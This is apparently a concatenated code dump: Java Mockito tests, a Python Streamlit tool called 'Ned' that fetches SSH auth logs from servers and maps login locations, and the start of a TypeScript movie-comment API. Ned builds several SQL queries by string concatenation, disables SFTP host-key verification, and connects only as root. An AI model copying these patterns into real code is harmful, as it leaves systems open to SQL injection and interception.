void testMethodVerificationUsingLogicalOp() {
final LibraryService service = new LibraryService(dao);
service.hasBookWithId(42);
verify(dao).fetchBookById(eq(42));
}
@Test
void testArgMatcherWithNull() {
when(service.hasBookWithId(isNull())).thenThrow(IllegalArgumentException.class);
final IllegalArgumentException exception = assertThrows(IllegalArgumentException.class, () -> {
service.hasBookWithId(null);
});
assertThat(exception.getClass(), is(equalTo(IllegalArgumentException.class)));
}
@Test
void testArgMatcherAllArgs() {
final String author = "<NAME>";
when(service.hasBookWithTopicAndAuthor(any(Topic.class), eq(author))).thenReturn(false);
assertFalse( service.hasBookWithTopicAndAuthor(Topic.COMPUTING, author) );
}
@Test
void testCustomArgMatcherWithLambda() {
when(service.hasBookWithId(argThat(argument -> argument!=null && argument>0))).thenReturn(true);
assertTrue(service.hasBookWithId(42));
assertFalse(service.hasBookWithId(-42));
}
@Test
void testCustomArgMatcher() {
when(service.hasBookWithId(argThat(isValid()))).thenReturn(true);
assertTrue(service.hasBookWithId(42));
assertFalse(service.hasBookWithId(-42));
}
private MyArgMatcher isValid() {
return new MyArgMatcher();
}
public static class MyArgMatcher implements ArgumentMatcher<Integer> {
Integer argument;
@Override
public boolean matches(Integer argument) {
this.argument = argument;
return argument!=null && argument>0;
}
@Override
public String toString() {
return String.format("%d must be a positive integer", argument);
}
}
} | 2a7ccd25c9dcc718bcad22b68c3b814217fc47d5 | [
"Java"
] | 6 | Java | joash97/mockito2-course-code-samples | f6fc835514688900c1aaab1ebd7003ac3f1b899e | e97ceeb8ba9ee9ec14cbc57bbba6624d24b242a0 |
refs/heads/master | <file_sep>import streamlit as st
def info():
st.sidebar.image('Images/Ned_Logo_Emblem_T.png')
st.title('Information')
st.header('Steps To Connecting To Server')
st.subheader('Creating SSH Keys')
st.text('You will first need to create SSH Keys for your server. After the keys are connected to the server, place the SSH keys in the Keys directory within the code')
st.subheader('SSH_Config Settings')
st.text('In order for the code to work properly you will need to change a setting in your ssh_config file.')
st.text('To access the file, connect to your server.')
st.text('Navigate to the sshd_config file which is located in /etc/ssh/sshd_config')
st.text('Unhash the Loglevel and change from INFO to VERBOSE')
st.text('It is also recommended to change your SSH port')
st.subheader('Connecting Ned To Your Server')
st.text('To connect Ned to your server, open the Server Settings page and enter in your server details. If you need to change any settings you can do so by selecting Edit Server in the Server Settings Page')
st.text('To confirm you have access to your server you can select Server Status in the Server Settings page.')
st.subheader('Grabbing Information from your server')
st.text('To get the authentication logs from your server navigate to the Home Page and select Load Data. Below the maps notifications will appear to indicate if proper connections were made.')<file_sep>import streamlit as st
import os
import glob
import pandas as pd
import pysftp
from time import strptime
from datetime import datetime
from pytz import timezone
from time import strptime
from datetime import datetime
from dateutil import tz
import datetime
import pytz
import geoip2.database
import pydeck as pdk
from alive_progress import alive_bar, config_handler
from dateutil.relativedelta import relativedelta
import numpy as np
from pandas_datareader import data
import db_connect
import sqlite3
from datetime import datetime, timedelta
import home_page as home
import statistics_page as stats
import server_settings as server
import info_page as info
st.set_page_config(page_title='Ned', page_icon='Images/Ned_Logo_Pictorial_T.png', layout='wide', initial_sidebar_state='auto')
page = st.sidebar.selectbox('Page', ['Home','Info','Server Settings','Statistics'])
st.title("Ned Server Monitoring System")
if page == 'Home':
home.home()
if page == 'Info':
info.info()
if page == 'Server Settings':
server.server_page()
if page == 'Statistics':
stats.statistics()
<file_sep>import streamlit as st
import os
import glob
import pandas as pd
import pysftp
from time import strptime
from datetime import datetime
from pytz import timezone
from time import strptime
from datetime import datetime
from dateutil import tz
import datetime
import pytz
import geoip2.database
import pydeck as pdk
from alive_progress import alive_bar, config_handler
from dateutil.relativedelta import relativedelta
import numpy as np
from pandas_datareader import data
import db_connect as db
from datetime import datetime, timedelta
def server_page():
st.title('Server Settings')
server_settings_selection = st.selectbox('Server Settings', ['Add Server','Delete Server','Edit Server','Server Status'])
if server_settings_selection == 'Add Server':
add_server()
if server_settings_selection == 'Delete Server':
delete_server()
if server_settings_selection == 'Edit Server':
edit_server()
if server_settings_selection == 'Server Status':
server_status()
st.sidebar.image('Images/Ned_Logo_Emblem_T.png')
def add_server():
st.header('Add Server')
box = st.text_input('Server Name')
ip = st.text_input('IP Address')
username = st.text_input('Username By Default = root')
private_key = st.text_input('Private Key Location')
port = st.text_input('Port')
save = st.button('Add Server')
if save:
try:
result = db.add_server(box, ip, username, private_key, port)
st.success('Server Added To Database')
except:
st.error('Server Unsuccessful Added To Database')
try:
connection_check = db.server_connection_check(box)
if connection_check == 'Connection Successful':
st.success('Server Connection Successful')
st.balloons()
if connection_check == 'Connection Unsuccessful':
st.error('Server Connection Unsuccessful')
except:
st.error('Something is fucked up')
def delete_server():
st.header('Delete Server')
server_info = db.grab_box_info()
servers = []
server_options = (server_info['Box'].unique().tolist())
for i in server_options:
servers.append(i)
servers.sort()
server_selection = st.selectbox('Server', (servers))
delete = st.button('Delete Server')
if delete:
try:
server_delete = db.delete_server(server_selection)
if server_delete == 'Delete Successful':
st.success('Server Successfully Deleted')
if server_delete == 'Delete Unsuccessful':
st.error('Server Unsuccessfully Deleted')
except:
st.error('Something is fucked up')
def edit_server():
st.header('Edit Server Info')
server_info = db.grab_box_info()
server_info_s = server_info.set_index('Box')
server_info_s['IP'] = server_info_s['IP'].astype(str)
server_info_s['Port'] = server_info_s['Port'].astype(str)
servers = []
server_options = (server_info['Box'].unique().tolist())
for i in server_options:
servers.append(i)
servers.sort()
server_selection = st.selectbox('Server', (servers))
for i in servers:
if server_selection == i:
server_pick = i
new_server = st.text_input('Current Server Name is: ' + server_pick)
change_server = st.checkbox('Update Server Name')
current_ip = server_info_s.loc[server_pick]['IP']
new_ip = st.text_input(('Current IP Address is: ' + current_ip))
change_ip = st.checkbox('Update IP Address')
current_username = server_info_s.loc[server_pick]['Username']
new_username = st.text_input(('Current Username is: '+ current_username))
change_username = st.checkbox('Update Username')
current_key = server_info_s.loc[server_pick]['Private_Key']
new_key = st.text_input(('Current SSH Key is: ' + current_key))
change_key = st.checkbox('Update SSH Key Location')
current_port = server_info_s.loc[server_pick]['Port']
new_port = st.text_input(('Current Port is: ' + current_port))
change_port = st.checkbox('Update Port')
new_save = st.button('Update Server')
if new_save:
if change_ip:
try:
db.update_server_info(new_ip,'IP',server_pick)
st.success('IP Updated')
try:
connection_check = db.server_connection_check(server_pick)
if connection_check == 'Connection Successful':
st.success('Server Connection Successful')
if connection_check == 'Connection Unsuccessful':
st.error('Server Connection Unsuccessful')
except:
st.error('Something is fucked up')
except:
st.error('Unsuccessful IP Update')
if change_username:
try:
db.update_server_info(new_username,'Username',server_pick)
st.success('Username Updated')
except:
st.error('Unsuccessful Username Update')
if change_key:
try:
db.update_server_info(new_key,'Private_Key',server_pick)
st.success('SSH Key Updated')
except:
st.error('Unsuccessful SSH Key Update')
if change_port:
try:
db.update_server_info(new_port,'Port',server_pick)
st.success('Port Updated')
except:
st.error('Unsuccessful Port Update')
if change_server:
try:
db.update_server_info(new_server,'Box',server_pick)
st.success('Server Name Updated')
except:
st.error('Unsuccessful Server Name Update')
def server_status():
st.header('Server Status')
server_info = db.grab_box_info()
server_info_s = server_info.set_index('Box')
server_info_s['IP'] = server_info_s['IP'].astype(str)
server_info_s['Port'] = server_info_s['Port'].astype(str)
servers = []
server_options = (server_info['Box'].unique().tolist())
for i in server_options:
servers.append(i)
servers.sort()
server_selection = st.selectbox('Server', (servers))
status = st.button('Server Status')
if status:
try:
connection_check = db.server_connection_check(server_selection)
if connection_check == 'Connection Successful':
st.success('Server Connection Successful')
if connection_check == 'Connection Unsuccessful':
st.error('Server Connection Unsuccessful')
except:
st.error('Something is fucked up')
<file_sep>Ned Server Monitoring System
Ned is a server monitoring code that allows you to see what IPs have successfully and unsuccessfully connected to your servers. Ned uses Streamlit for it's GUI.
To run the code input the following:
$ streamlit run ned.py
Steps To Connecting To Server
Creating SSH Keys
You will first need to create SSH Keys for your server. After the keys are connected to the server, place the SSH keys in the Keys directory within the code
SSH_Config Settings
In order for the code to work properly you will need to change a setting in your ssh_config file.
To access the file, connect to your server
Navigate to the sshd_config file which is located in /etc/ssh/sshd_config
Unhash the Loglevel and change from INFO to VERBOSE
It is also recommended to change your SSH port
Connecting Ned To Your Server
To connect Ned to your server, open the Server Settings page and enter in your server details. If you need to change any settings you can do so by selecting Edit Server in the Server Settings Page.
Server Name = Name of your server
IP = The IP address of your server
Username = The username used to connect to the server. For now root is the only user that can be used
Port = The SSH port
To confirm you have access to your server you can select Server Status in the Server Settings page
Grabbing Information From Your Server
To get the authentication logs from your server navigate to the Home Page and select Load Data. Below the maps notifications will appear to indicate if proper connections were made.
Home Page
The home page is the default page once opening Ned. This page displays by default the last 7 days worth of information. It includes two different data frames (Successful Authentications and Failed Authentications) as well as maps that connect to them.
To gather information, select the Load Data option in the side bar. The code will SCP the authentication logs from your server, add it to the Ned Database, sort the relevant information, and delete the authentication log SCPed.
This page also has a map with a heat map to display which areas in the world have successfully and unsuccessfully connected to your servers.
Server Settings Page
The Server Settings Page is where you add, edit, delete and see the status of your servers.
Statistics Page
The statistics page is currently a work in progress. It displays a few charts to show some statistical data from your servers.
Information Page
The Information Page describes the steps needed to connect a server.
Looking Forward
I will be working on the following things to add to this code:
Adding a settings page to change the default last 7 days of activity to a number of your choosing.
Displaying on the Home Page data that has been transferred to and from the servers.
Have an option to continuously pull authentication logs from servers rather than manually requesting them via the Load Data button.
Option of identifying not just the SSH port but all ports in order to detect new attack vectors.
Optimizing the authentication logs to data frame in order to speed up the process.
Option to create SSH Keys within Ned rather than creating them outside Ned via a terminal. <file_sep>import streamlit as st
import os
import glob
import pandas as pd
import pysftp
from time import strptime
from datetime import datetime
from pytz import timezone
from time import strptime
from datetime import datetime
from dateutil import tz
import datetime
import pytz
import geoip2.database
import pydeck as pdk
from alive_progress import alive_bar, config_handler
from dateutil.relativedelta import relativedelta
import numpy as np
from pandas_datareader import data
import db_connect
from datetime import datetime, timedelta
def home():
header = st.container()
dataset= st.container()
#Side Bar
result = st.sidebar.button('Load Data')
if result:
search()
auth_logs = db_connect.auth_logs_to_df()
auth_logs.sort_values(by=['Date_Time'], inplace=True, ascending=False)
# Jumpbox Data
jump_boxes = []
jump_boxes_options = (auth_logs['Box'].unique().tolist())
for i in jump_boxes_options:
jump_boxes.append(i)
jump_boxes.sort()
jump_boxes.insert(0, 'All')
side_jumpbox = st.sidebar.selectbox('Servers', (jump_boxes))
if side_jumpbox == 'All':
failed_logs = auth_logs.loc[auth_logs['Access'] == 'Failed']
pass_logs = auth_logs.loc[auth_logs['Access'] == 'Successful']
else:
for i in jump_boxes_options:
if side_jumpbox == i:
failed_logs = auth_logs.loc[auth_logs['Access'] == 'Failed']
pass_logs = auth_logs.loc[auth_logs['Access'] == 'Successful']
failed_logs = failed_logs.loc[auth_logs['Box'] == i]
pass_logs = pass_logs.loc[auth_logs['Box'] == i]
else:
pass
# Country
country_boxes = []
pass_country_options = (pass_logs['Country'].unique().tolist())
fail_country_options = (failed_logs['Country'].unique().tolist())
for i in pass_country_options:
if i not in country_boxes:
country_boxes.append(i)
for i in fail_country_options:
if i not in country_boxes:
country_boxes.append(i)
country_boxes.sort()
country_count = len(country_boxes)
country_boxes.insert(0, 'All')
country_count = len(country_boxes) - 1
country_text = 'Which Country ? Total = ' + str(country_count)
side_country = st.sidebar.selectbox(country_text, (country_boxes))
if side_country == 'All':
pass
else:
for i in country_boxes:
if side_country == i:
failed_logs = failed_logs.loc[auth_logs['Country'] == i]
pass_logs = pass_logs.loc[auth_logs['Country'] == i]
else:
pass
# city
city_boxes = []
pass_city_options = (pass_logs['City'].unique().tolist())
fail_city_options = (failed_logs['City'].unique().tolist())
for i in pass_city_options:
if i not in city_boxes:
city_boxes.append(i)
for i in fail_city_options:
if i not in city_boxes:
city_boxes.append(i)
city_boxes.sort()
city_boxes.insert(0, 'All')
city_count = len(city_boxes) - 1
city_text = 'Which City ? Total = ' + str(city_count)
side_city = st.sidebar.selectbox(city_text, (city_boxes))
if side_city == 'All':
pass
else:
for i in city_boxes:
if side_city == i:
failed_logs = failed_logs.loc[auth_logs['City'] == i]
pass_logs = pass_logs.loc[auth_logs['City'] == i]
else:
pass
# Dates
d = datetime.today() - timedelta(days=7)
dates = []
pass_date_options = (pass_logs['Date'].unique().tolist())
fail_date_options = (failed_logs['Date'].unique().tolist())
for i in pass_date_options:
if i not in dates:
dates.append(i)
for i in fail_date_options:
if i not in dates:
dates.append(i)
layout = st.sidebar.columns([2, 1])
with layout[0]:
start_date = st.date_input('Start Date:',max_value=datetime.today()) # omit "sidebar"
with layout[0]:
end_date = st.date_input('End Date:',value=(d),max_value=datetime.today()) # omit "sidebar"
new_start = str(start_date).replace('-','/')
new_end = str(end_date).replace('-','/')
pass_logs = pass_logs[(pass_logs['Date'] > new_end) & (pass_logs['Date'] <= new_start)]
failed_logs = failed_logs[(failed_logs['Date'] > new_end) & (failed_logs['Date'] <= new_start)]
st.sidebar.image('Images/Ned_Logo_Emblem_T.png')
with header:
st.title('Home Page')
with dataset:
tcol_1, tcol_2 = st.columns(2)
bcol_1, bcol_2 = st.columns(2)
tcol_1.header('Successful Authorizations')
tcol_1.text('Successful Data Frame')
tcol_1.dataframe(pass_logs[['Date_Time','Source_IP','Box','City','Country','User','By_Way']])
tcol_2.header('Failed Authorizations')
tcol_2.text('Failed Data Frame')
tcol_2.dataframe(failed_logs[['Date_Time','Source_IP','Box','City','Country','User']])
bcol_1.text('Successful Connection IPs Map')
bcol_1.pydeck_chart(
pdk.Deck(
map_style='mapbox://styles/mapbox/light-v9',
layers = [
pdk.Layer(
"HeatmapLayer",
pass_logs,
opacity=0.9,
get_position=['Lon', 'Lat']
),
pdk.Layer(
'ScatterplotLayer',
pass_logs,
get_position='[Lon, Lat]',
pickable=True,
opacity=0.8,
stroked=True,
filled=True,
radius_scale=6,
radius_min_pixels=5,
radius_max_pixels=100,
line_width_min_pixels=1,
get_fill_color=[252, 3, 152],
get_line_color=[0, 0, 0]
),
],
)
)
bcol_2.text('Failed Connection IPs Map')
bcol_2.pydeck_chart(
pdk.Deck(
map_style='mapbox://styles/mapbox/light-v9',
layers = [
pdk.Layer(
"HeatmapLayer",
failed_logs,
opacity=2,
get_position=['Lon', 'Lat']
),
pdk.Layer(
'ScatterplotLayer',
failed_logs,
get_position='[Lon, Lat]',
pickable=True,
opacity=0.8,
stroked=True,
filled=True,
radius_scale=6,
radius_min_pixels=5,
radius_max_pixels=100,
line_width_min_pixels=1,
get_fill_color=[252, 3, 152],
get_line_color=[0, 0, 0]
),
],
)
)
<EMAIL>(suppress_st_warning=True)
def search():
db_connect.log_pull()
st.info('Attempting to place logs in Ned Database')
db_connect.auth_log_to_db()
auth_logs = db_connect.auth_logs_to_df()
auth_logs.sort_values(by=['Date_Time'], inplace=True, ascending=False)<file_sep>import streamlit as st
import os
import glob
import pandas as pd
import pysftp
from time import strptime
from datetime import datetime
from pytz import timezone
from time import strptime
from datetime import datetime
from dateutil import tz
import datetime
import pytz
import geoip2.database
import pydeck as pdk
from alive_progress import alive_bar, config_handler
from dateutil.relativedelta import relativedelta
import numpy as np
from pandas_datareader import data
import sqlite3
import db_connect
def add_server(box, ip, username, private_key, port):
root = 'root'
try:
conn = sqlite3.connect('Data/ned.db')
c = conn.cursor()
c.execute('INSERT INTO Box_Info(Box, IP, Username, Private_Key, Port) VALUES (?,?,?,?,?)',(box, ip, root, private_key, port))
print(c.execute)
conn.commit()
c.close()
conn.close()
print('Box information inserted successfully into Boxes table')
except:
print('Failed to insert box information into Boxes table')
def auth_log_to_db():
db = sqlite3.connect('Data/ned.db')
df = pd.read_sql_query('SELECT * FROM Full_Log', db)
full_log = df['Log'].tolist()
auth_logs = pd.DataFrame(columns = ['Date_Time', 'Date', 'Time','Source_IP','Access','Box','User','By_Way', 'City', 'Country', 'Lat', 'Lon'])
st.info('Creating Data Frame')
print('Creating Data Frame')
time_bar = len(full_log)
with alive_bar(time_bar) as bar:
for x in full_log:
try:
x = x.replace(' ', ' ')
except:
pass
if 'CRON[208036]' in x:
pass
if 'sshd' in x:
try:
if 'Accepted' in x:
if 'publickey' in x:
month = x.split(' ')[0]
num_month = strptime(month,'%b').tm_mon
day = int(x.split(' ')[1])
time = x.split(' ')[2]
hour = int(time.split(':')[0])
minute = int(time.split(':')[1])
second = int(time.split(':')[2])
dt = datetime.datetime(2021, num_month, day, hour, minute, second, tzinfo=pytz.UTC)
fmt = "%Y/%m/%d %H:%M:%S"
pacific = dt.astimezone(timezone('US/Pacific'))
date_time = pacific.strftime(fmt)
ip = x.split('from ')[1].split(' ')[0]
box = x.split(' ')[3]
user = x.split('for ')[1].split(' ')[0]
with geoip2.database.Reader('Data/IP_Lookup_City.mmdb') as reader:
response = reader.city(ip)
city = response.city.name
country = response.country.iso_code
lat = response.location.latitude
lon = response.location.longitude
new_row = {'Date_Time':date_time.split(' PDT-0700')[0],'Source_IP':ip, 'Access':'Successful','Box':box,'User':user,'By_Way':'Public_Key','City':city,'Country':country,'Lat':lat,'Lon':lon,'Date':date_time.split(' ')[0],'Time':date_time.split(' ')[1]}
auth_logs = auth_logs.append(new_row, ignore_index=True)
else:
month = x.split(' ')[0]
num_month = strptime(month,'%b').tm_mon
day = int(x.split(' ')[1])
time = x.split(' ')[2]
hour = int(time.split(':')[0])
minute = int(time.split(':')[1])
second = int(time.split(':')[2])
dt = datetime.datetime(2021, num_month, day, hour, minute, second, tzinfo=pytz.UTC)
fmt = "%Y/%m/%d %H:%M:%S"
pacific = dt.astimezone(timezone('US/Pacific'))
date_time = pacific.strftime(fmt)
ip = x.split('from ')[1].split(' ')[0]
box = x.split(' ')[3]
user = x.split('for ')[1].split(' ')[0]
with geoip2.database.Reader('Data/IP_Lookup_City.mmdb') as reader:
response = reader.city(ip)
city = response.city.name
country = response.country.iso_code
lat = response.location.latitude
lon = response.location.longitude
new_row = {'Date_Time':date_time.split(' PDT-0700')[0],'Source_IP':ip, 'Access':'Successful','Box':box,'User':user,'By_Way':'Password','City':city,'Country':country,'Lat':lat,'Lon':lon,'Date':date_time.split(' ')[0],'Time':date_time.split(' ')[1]}
auth_logs = auth_logs.append(new_row, ignore_index=True)
except:
pass
try:
if 'Failed' in x:
if 'invalid user' in x:
month = x.split(' ')[0]
num_month = strptime(month,'%b').tm_mon
day = int(x.split(' ')[1])
time = x.split(' ')[2]
hour = int(time.split(':')[0])
minute = int(time.split(':')[1])
second = int(time.split(':')[2])
dt = datetime.datetime(2021, num_month, day, hour, minute, second, tzinfo=pytz.UTC)
fmt = "%Y/%m/%d %H:%M:%S"
pacific = dt.astimezone(timezone('US/Pacific'))
date_time = pacific.strftime(fmt)
ip = x.split(' ')[12]
box = x.split(' ')[3]
user = x.split(' ')[10]
with geoip2.database.Reader('Data/IP_Lookup_City.mmdb') as reader:
response = reader.city(ip)
city = response.city.name
country = response.country.iso_code
lat = response.location.latitude
lon = response.location.longitude
new_row = {'Date_Time':date_time.split(' PDT-0700')[0],'Source_IP':ip, 'Access':'Failed','Box':box,'User':user,'By_Way': user,'City':city,'Country':country,'Lat':lat,'Lon':lon,'Date':date_time.split(' ')[0],'Time':date_time.split(' ')[1]}
auth_logs = auth_logs.append(new_row, ignore_index=True)
else:
month = x.split(' ')[0]
num_month = strptime(month,'%b').tm_mon
day = int(x.split(' ')[1])
time = x.split(' ')[2]
hour = int(time.split(':')[0])
minute = int(time.split(':')[1])
second = int(time.split(':')[2])
dt = datetime.datetime(2021, num_month, day, hour, minute, second, tzinfo=pytz.UTC)
fmt = "%Y/%m/%d %H:%M:%S"
pacific = dt.astimezone(timezone('US/Pacific'))
date_time = pacific.strftime(fmt)
ip = x.split(' ')[10]
box = x.split(' ')[3]
user = x.split(' ')[8]
with geoip2.database.Reader('Data/IP_Lookup_City.mmdb') as reader:
response = reader.city(ip)
city = response.city.name
country = response.country.iso_code
lat = response.location.latitude
lon = response.location.longitude
new_row = {'Date_Time':date_time.split(' PDT-0700')[0],'Source_IP':ip, 'Access':'Failed','Box':box,'User':user,'By_Way': user,'City':city,'Country':country,'Lat':lat,'Lon':lon,'Date':date_time.split(' ')[0],'Time':date_time.split(' ')[1]}
auth_logs = auth_logs.append(new_row, ignore_index=True)
else:
pass
except:
pass
else:
pass
else:
pass
bar()
print('Data Frames complete')
auth_logs["City"].fillna('None', inplace = True)
auth_logs.sort_values(by=['Date_Time'], inplace=True, ascending=False)
conn = sqlite3.connect('Data/ned.db')
c = conn.cursor()
auth_logs.to_sql('Auth_Logs', conn, if_exists='replace', index = False)
try:
c.close
conn.close()
print('Database closed')
except:
print('Database not closed')
return auth_logs
def auth_logs_to_df():
try:
db = sqlite3.connect('Data/ned.db')
df = pd.read_sql_query('SELECT * FROM Auth_Logs', db)
return df
print('Box Information successfully')
except:
print('Failed to connect to the database')
def delete_server(server):
try:
delresult = '"'+server+'"'
conn = sqlite3.connect('Data/ned.db')
c = conn.cursor()
c.execute('DELETE from Box_Info WHERE Box='+str(delresult))
conn.commit()
c.close()
conn.close()
return('Delete Successful')
except:
return('Delete Unsuccessful')
def db_log_add(full_logs):
time_bar = len(full_logs)
db = sqlite3.connect('Data/ned.db')
with alive_bar(time_bar) as bar:
for x in full_logs:
cursor = db.cursor()
cursor.execute('INSERT OR IGNORE INTO Full_Log(log) VALUES (?)',[x])
db.commit()
bar()
def grab_box_info():
print('Loading Box Information')
#return ('Loading Box Information')
try:
db = sqlite3.connect('Data/ned.db')
df = pd.read_sql_query("SELECT * FROM Box_Info", db)
return df
print('Box Information successfully')
except:
print('Failed to connect to the database')
def log_pull():
print('Starting Log Pull')
boxes = grab_box_info()
box_names = []
full_logs = []
for index, row in boxes.iterrows():
box = str(row['Box'])
box_names.append(box)
print('Appended', box)
st.info('Appended ' + box)
for x in box_names:
db = sqlite3.connect('Data/ned.db')
cursor = db.cursor()
searchresult = '"'+x+'"'
result = cursor.execute('SELECT * from Box_Info WHERE Box='+str(searchresult))
row = result.fetchone()
box = str(row[0])
ip = str(row[1])
usname = str(row[2])
p_key = str(row[3])
box_port = int(row[4])
print(box, ip, usname, p_key, box_port)
save_name = 'Data/' + box +'.txt'
cnopts = pysftp.CnOpts()
cnopts.hostkeys = None
try:
with pysftp.Connection(ip, username=usname, private_key=p_key, port=box_port, cnopts=cnopts) as sftp:
with sftp.cd('.'):
sftp.get('/var/log/auth.log', save_name) # get a remote file
st.success('Successfully connected to ' + box)
print('Successfully SCP file from', box)
with open(save_name, 'r') as f:
log = [line.strip() for line in f]
for a in log:
full_logs.append(a)
print('Created log for', box)
st.info('Created Log For ' + box)
if os.path.exists(save_name):
os.remove(save_name)
else:
print('The file does not exist')
except:
st.error('Unsuccessfully connected to ' + x)
print('Connection not made to', box)
db_log_add(full_logs)
return full_logs
def server_connection_check(server):
x = server
try:
db = sqlite3.connect('Data/ned.db')
cursor = db.cursor()
searchresult = '"'+x+'"'
result = cursor.execute('SELECT * from Box_Info WHERE Box='+str(searchresult))
row = result.fetchone()
print(row)
box = str(row[0])
ip = str(row[1])
usname = str(row[2])
p_key = str(row[3])
box_port = int(row[4])
print(box, ip, usname, p_key, box_port)
cnopts = pysftp.CnOpts()
cnopts.hostkeys = None
with pysftp.Connection(ip, username=usname, private_key=p_key, port=box_port, cnopts=cnopts) as sftp:
with sftp.cd('.'):
return('Connection Successful')
print('Connection Successful')
except:
return('Connection Unsuccessful')
print('Connection Unsuccessful')
def update_server_info(change,location,server_name):
conn = sqlite3.connect('Data/ned.db')
c = conn.cursor()
c.execute('UPDATE Box_Info SET '+ location + ' = ? WHERE Box = ?',(change,server_name))
print(c.execute)
conn.commit()
c.close()
conn.close()
<file_sep>import streamlit as st
import os
import glob
import pandas as pd
import pysftp
from time import strptime
from datetime import datetime
from pytz import timezone
from time import strptime
from datetime import datetime
from dateutil import tz
import datetime
import pytz
import geoip2.database
import pydeck as pdk
from alive_progress import alive_bar, config_handler
from dateutil.relativedelta import relativedelta
import numpy as np
from pandas_datareader import data
import db_connect
from datetime import datetime, timedelta
import streamlit as st
import pandas as pd
import numpy as np
import plotly.figure_factory as ff
import matplotlib.pyplot as plt
import altair as alt
def statistics():
st.title('Statistics')
auth_logs = db_connect.auth_logs_to_df()
auth_logs['Hour'] = auth_logs['Time'].str.split(':').str[0]
auth_logs = auth_logs.sort_values(['Hour'], ascending=True)
#Side Bar
result = st.sidebar.button('Load Data')
if result:
search()
# Jumpbox Data
jump_boxes = []
jump_boxes_options = (auth_logs['Box'].unique().tolist())
for i in jump_boxes_options:
jump_boxes.append(i)
jump_boxes.sort()
jump_boxes.insert(0, 'All')
side_jumpbox = st.sidebar.selectbox('Servers', (jump_boxes))
if side_jumpbox == 'All':
failed_logs = auth_logs.loc[auth_logs['Access'] == 'Failed']
pass_logs = auth_logs.loc[auth_logs['Access'] == 'Successful']
else:
for i in jump_boxes_options:
if side_jumpbox == i:
failed_logs = auth_logs.loc[auth_logs['Access'] == 'Failed']
pass_logs = auth_logs.loc[auth_logs['Access'] == 'Successful']
failed_logs = failed_logs.loc[auth_logs['Box'] == i]
pass_logs = pass_logs.loc[auth_logs['Box'] == i]
else:
pass
# Country
country_boxes = []
pass_country_options = (pass_logs['Country'].unique().tolist())
fail_country_options = (failed_logs['Country'].unique().tolist())
for i in pass_country_options:
if i not in country_boxes:
country_boxes.append(i)
for i in fail_country_options:
if i not in country_boxes:
country_boxes.append(i)
country_boxes.sort()
country_count = len(country_boxes)
country_boxes.insert(0, 'All')
country_count = len(country_boxes) - 1
country_text = 'Which Country ? Total = ' + str(country_count)
side_country = st.sidebar.selectbox(country_text, (country_boxes))
if side_country == 'All':
pass
else:
for i in country_boxes:
if side_country == i:
failed_logs = failed_logs.loc[auth_logs['Country'] == i]
pass_logs = pass_logs.loc[auth_logs['Country'] == i]
else:
pass
# city
city_boxes = []
pass_city_options = (pass_logs['City'].unique().tolist())
fail_city_options = (failed_logs['City'].unique().tolist())
for i in pass_city_options:
if i not in city_boxes:
city_boxes.append(i)
for i in fail_city_options:
if i not in city_boxes:
city_boxes.append(i)
city_boxes.sort()
city_boxes.insert(0, 'All')
city_count = len(city_boxes) - 1
city_text = 'Which City ? Total = ' + str(city_count)
side_city = st.sidebar.selectbox(city_text, (city_boxes))
if side_city == 'All':
pass
else:
for i in city_boxes:
if side_city == i:
failed_logs = failed_logs.loc[auth_logs['City'] == i]
pass_logs = pass_logs.loc[auth_logs['City'] == i]
else:
pass
# Dates
d = datetime.today() - timedelta(days=7)
dates = []
pass_date_options = (pass_logs['Date'].unique().tolist())
fail_date_options = (failed_logs['Date'].unique().tolist())
for i in pass_date_options:
if i not in dates:
dates.append(i)
for i in fail_date_options:
if i not in dates:
dates.append(i)
layout = st.sidebar.columns([2, 1])
with layout[0]:
start_date = st.date_input('Start Date:',max_value=datetime.today()) # omit "sidebar"
with layout[0]:
end_date = st.date_input('End Date:',value=(d),max_value=datetime.today()) # omit "sidebar"
new_start = str(start_date).replace('-','/')
new_end = str(end_date).replace('-','/')
pass_logs = pass_logs[(pass_logs['Date'] > new_end) & (pass_logs['Date'] <= new_start)]
failed_logs = failed_logs[(failed_logs['Date'] > new_end) & (failed_logs['Date'] <= new_start)]
st.sidebar.image('Images/Ned_Logo_Emblem_T.png')
dates = []
all_dates = (auth_logs['Date'].unique().tolist())
for i in all_dates:
dates.append(i)
dates.sort()
st.set_option('deprecation.showPyplotGlobalUse', False)
st.header('Successful Access')
new = pass_logs.groupby('Date')['Time'].nunique()
st.line_chart(new)
st.set_option('deprecation.showPyplotGlobalUse', False)
st.header('Unsuccessful Access')
newf = failed_logs.groupby('Date')['Time'].nunique()
#new['Time'] = new['Time'].astype(int)
plotnew = newf.to_frame().reset_index()
#st.dataframe(plotnew)
st.line_chart(newf)
alt.Chart(plotnew).mark_line(point=True).encode(x='Time',y='Date')
country_fail = failed_logs.groupby('Country')['Time'].nunique()
country_fail_df = country_fail.to_frame()
country_fail_df.rename({'Time':'Count'}, axis=1, inplace=True)
country_fail_df = country_fail_df.reset_index()
st.header('Country Unsuccessful Access Count')
st.table(country_fail_df)
<file_sep># Place SSH Keys here | 1377ccb73ac38334261ff658beb4efbd27ed361d | [
"Markdown",
"Python"
] | 8 | Python | blueskies14/Ned-Server-Monitor | dcffbbf76da021897a8d00be7232c697b038a34e | 0bb36a0eabdb78d1b58f2862b8806abfa5e82e47 |
refs/heads/main | <file_sep>import { NextFunction, Request, Response } from "express";
import { CommentModel } from "../entity/CommentModel";
import { MovieModel } from "../entity/MovieModel";
export const commentOnMovie = async (
req: Request,
res: Response
): Promise<Response | void> => {
try {
const { movieId } = req.params;
const { comment } = req.body;
const movie = await MovieModel.findOne(movieId);
if (!movie) {
return res.status(400).json({
msg: "Film not found",
});
}
const newComment = CommentModel.create({
comment,
movie
});
await newComment.save();
return res.status(201).json({
msg: "comment added",
});
} catch (error) {
console.error(error);
throw new Error("Something went wrong");
}
};<file_sep>import express from 'express';
import router from './routes/movieRoutes';
import indexRouter from './routes/indexRoute';
import { pgConnection } from './database/pgConnection';
import dotenv from 'dotenv';
dotenv.config();
const app = express();
pgConnection();
const port = process.env.PORT || 8085
app.use(express.json());
app.use('/', router);
app.use('/', indexRouter);
app.listen(port, () => {
console.log(`Now running on port ${port}`);
});
<file_sep>import { CommentModel } from '../entity/CommentModel';
import { MovieModel } from '../entity/MovieModel';
import { createConnection } from 'typeorm';
import dotenv from 'dotenv';
dotenv.config();
export const pgConnection = async () => {
try {
await createConnection({
type: 'postgres',
url: process.env.DATABASE_URL,
entities: [CommentModel, MovieModel],
synchronize: true,
ssl: {
rejectUnauthorized: false
}
});
console.log('Connected to Postgres');
} catch (error) {
console.error(error);
throw new Error('Unable to connect to Postgres');
}
};
<file_sep>import {
Entity,
BaseEntity,
Column,
